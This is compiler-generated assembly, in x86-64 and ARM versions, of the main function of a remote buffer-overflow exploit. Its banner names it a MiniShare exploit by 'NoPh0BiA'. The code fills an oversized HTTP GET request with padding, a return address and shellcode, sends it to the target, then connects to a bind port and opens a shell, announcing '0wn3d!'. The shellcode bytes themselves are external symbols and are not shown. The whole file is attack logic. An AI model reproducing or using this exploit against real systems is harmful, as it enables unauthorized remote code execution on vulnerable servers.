	.file	"extr_636.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Usage: TARGET."
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"\n***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.***\n"
	.align 8
.LC2:
	.string	"[x] Connected to: %s on port %d.\n"
	.section	.rodata.str1.1
.LC3:
	.string	"[x] Sending bad code.."
.LC4:
	.string	"GET "
.LC5:
	.string	" HTTP/1.1\r\n\r\n"
.LC6:
	.string	"done."
	.section	.rodata.str1.8
	.align 8
.LC7:
	.string	"[x] Trying to connect to: %s on port %d..\n"
	.section	.rodata.str1.1
.LC8:
	.string	"[x] 0wn3d!\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	mov	r13, rsi
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	cmp	edi, 1
	jle	.L13
.L2:
	mov	edi, 2220
	call	malloc@PLT
	mov	edi, 30
	mov	rbp, rax
	call	malloc@PLT
	lea	rdi, .LC1[rip]
	mov	r13, QWORD PTR 8[r13]
	mov	r12, rax
	call	puts@PLT
	mov	edx, 2220
	xor	esi, esi
	mov	rdi, rbp
	call	memset@PLT
	mov	rdi, r12
	mov	edx, 30
	mov	esi, 66
	call	memset@PLT
	mov	edx, 1787
	mov	esi, 65
	mov	rdi, rbp
	call	memset@PLT
	mov	rsi, QWORD PTR RET[rip]
	mov	rdi, rbp
	call	strcat@PLT
	mov	rsi, r12
	mov	rdi, rbp
	call	strcat@PLT
	mov	rsi, QWORD PTR shellcode[rip]
	mov	rdi, rbp
	call	strcat@PLT
	mov	esi, DWORD PTR PORT[rip]
	mov	rdi, r13
	call	conn@PLT
	mov	r12d, eax
	test	eax, eax
	jne	.L14
.L3:
	mov	edi, 3
	call	sleep@PLT
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edx, 4
	lea	rsi, .LC4[rip]
	mov	edi, r12d
	call	write@PLT
	mov	rsi, rbp
	mov	edx, 2220
	mov	edi, r12d
	call	write@PLT
	mov	edx, 13
	lea	rsi, .LC5[rip]
	mov	edi, r12d
	call	write@PLT
	mov	edi, 3
	call	sleep@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	edx, DWORD PTR PORT1[rip]
	mov	rsi, r13
	xor	eax, eax
	lea	rdi, .LC7[rip]
	call	printf@PLT
	mov	esi, DWORD PTR PORT1[rip]
	mov	rdi, r13
	call	conn@PLT
	mov	ebp, eax
	test	eax, eax
	jne	.L15
.L4:
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
.L14:
	.cfi_restore_state
	mov	edx, DWORD PTR PORT[rip]
	mov	rsi, r13
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	jmp	.L3
.L15:
	lea	rdi, .LC8[rip]
	call	puts@PLT
	mov	edi, ebp
	call	shell@PLT
	jmp	.L4
.L13:
	lea	rdi, .LC0[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L2
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	RET,8,8
	.comm	PORT1,4,4
	.comm	PORT,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_636.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: TARGET.\000"
	.align	2
.LC1:
	.ascii	"\012***MiniShare remote buffer overflow UNIX exploi"
	.ascii	"t by NoPh0BiA.***\012\000"
	.align	2
.LC2:
	.ascii	"[x] Connected to: %s on port %d.\012\000"
	.align	2
.LC3:
	.ascii	"[x] Sending bad code..\000"
	.align	2
.LC4:
	.ascii	"GET \000"
	.align	2
.LC5:
	.ascii	" HTTP/1.1\015\012\015\012\000"
	.align	2
.LC6:
	.ascii	"done.\000"
	.align	2
.LC7:
	.ascii	"[x] Trying to connect to: %s on port %d..\012\000"
	.align	2
.LC8:
	.ascii	"[x] 0wn3d!\012\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	cmp	r0, #1
	push	{r4, r5, r6, r7, r8, lr}
	mov	r6, r1
	ble	.L13
.L2:
	ldr	r0, .L16
	bl	malloc
	mov	r4, r0
	mov	r0, #30
	bl	malloc
	mov	r5, r0
	ldr	r0, .L16+4
	ldr	r6, [r6, #4]
	bl	puts
	mov	r1, #0
	ldr	r2, .L16
	mov	r0, r4
	bl	memset
	mov	r0, r5
	mov	r2, #30
	mov	r1, #66
	bl	memset
	ldr	r2, .L16+8
	mov	r1, #65
	mov	r0, r4
	bl	memset
	ldr	r3, .L16+12
	mov	r0, r4
	ldr	r1, [r3]
	bl	strcat
	mov	r1, r5
	mov	r0, r4
	bl	strcat
	ldr	r3, .L16+16
	ldr	r7, .L16+20
	ldr	r1, [r3]
	mov	r0, r4
	bl	strcat
	mov	r0, r6
	ldr	r1, [r7]
	bl	conn
	subs	r5, r0, #0
	bne	.L14
.L3:
	mov	r0, #3
	bl	sleep
	ldr	r0, .L16+24
	bl	printf
	mov	r2, #4
	ldr	r1, .L16+28
	mov	r0, r5
	bl	write
	mov	r1, r4
	ldr	r2, .L16
	mov	r0, r5
	bl	write
	mov	r2, #13
	ldr	r1, .L16+32
	mov	r0, r5
	bl	write
	ldr	r4, .L16+36
	mov	r0, #3
	bl	sleep
	ldr	r0, .L16+40
	bl	puts
	ldr	r2, [r4]
	mov	r1, r6
	ldr	r0, .L16+44
	bl	printf
	ldr	r1, [r4]
	mov	r0, r6
	bl	conn
	subs	r4, r0, #0
	bne	.L15
.L4:
	mov	r0, #0
	pop	{r4, r5, r6, r7, r8, pc}
.L14:
	mov	r1, r6
	ldr	r2, [r7]
	ldr	r0, .L16+48
	bl	printf
	b	.L3
.L15:
	ldr	r0, .L16+52
	bl	puts
	mov	r0, r4
	bl	shell
	b	.L4
.L13:
	ldr	r0, .L16+56
	bl	puts
	mov	r0, #0
	bl	exit
	b	.L2
.L17:
	.align	2
.L16:
	.word	2220
	.word	.LC1
	.word	1787
	.word	RET
	.word	shellcode
	.word	PORT
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	PORT1
	.word	.LC6
	.word	.LC7
	.word	.LC2
	.word	.LC8
	.word	.LC0
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	RET,4,4
	.comm	PORT1,4,4
	.comm	PORT,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
